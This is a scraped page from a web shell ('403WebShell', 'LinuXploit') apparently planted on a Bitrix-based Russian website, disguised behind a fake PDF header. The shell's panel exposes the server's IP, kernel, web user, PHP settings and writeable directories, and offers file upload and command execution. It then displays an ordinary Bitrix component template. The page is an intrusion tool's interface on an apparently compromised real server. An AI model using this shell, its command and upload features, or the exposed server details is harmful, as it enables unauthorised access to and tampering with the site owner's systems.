%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.12.149.221
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/rest.integration.selector/templates/.default/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/rest.integration.selector/templates/.default/template.php
<?if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();

/** @var array $arParams */
/** @var array $arResult */
/** @global \CAllMain $APPLICATION */
/** @global \CAllUser $USER */
/** @global \CAllDatabase $DB */
/** @var \CBitrixComponentTemplate $this */
/** @var string $templateName */
/** @var string $templateFile */
/** @var string $templateFolder */
/** @var string $componentPath */
/** @var \CBitrixComponent $component */

use Bitrix\Main\Web\Json;
$regExpId = '/[^a-zA-Z0-9]/';
$prefix = 'rest-integration-selector-';
$id = preg_replace($regExpId, '', mb_strtolower($arParams['INPUT_NAME']));
$scopeCode = '';
if (is_string($arParams['INPUT_SCOPE_NAME']))
{
	$scopeCode = $prefix . preg_replace($regExpId, '', mb_strtolower($arParams['INPUT_SCOPE_NAME']));
}
$containerId = $prefix . $id;
?>

<div id="<?=htmlspecialcharsbx($containerId)?>" class="rest-integration-selector-wrapper">

	<?if ($arParams['TITLE'] != ''):?>
		<div class="rest-integration-selector-title">
			<?=$arParams['TITLE']?>
		</div>
	<?endif;?>

	<?
	$APPLICATION->IncludeComponent(
		'bitrix:ui.tile.selector',
		'',
		array(
			'INPUT_NAME' => $arParams['INPUT_NAME'],
			'ID' => $containerId,
			'LIST' => $arResult['TILES'],
			'MULTIPLE' => $arParams['MULTIPLE'],
			'DUPLICATES' => $arParams['DUPLICATES'],
			'SHOW_BUTTON_SELECT' => $arParams['SHOW_BUTTON_SELECT'],
			'SHOW_BUTTON_ADD' => $arParams['SHOW_BUTTON_ADD'],
			'CAN_REMOVE_TILES' => $arParams['CAN_REMOVE_TILES'],
			'BUTTON_SELECT_CAPTION' => $arParams['TITLE_BUTTON'],
			'READONLY' => $arParams['READONLY'],
		)
	);
	?>
	<script type="text/javascript">
		BX.ready(function () {
			BX.rest.integration.selectorManager.create(<?=Json::encode(array(
				'id' => $containerId,
				'containerId' => $containerId,
				'scopeSelectorName' => $scopeCode,
				'pathToAdd' => $arParams['PATH_TO_ADD'],
				'pathToEdit' => $arParams['PATH_TO_EDIT'],
				'action' => $arParams['ACTION'],
				'onChange' => $arParams['ON_CHANGE'],
				'signetParameters' => $this->getComponent()->getSignedParameters(),
				'mess' => array(
					'searchTitle' => $arParams['TITLE_SEARCHER_TITLE'],
				)
			))?>);
		});
	</script>
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit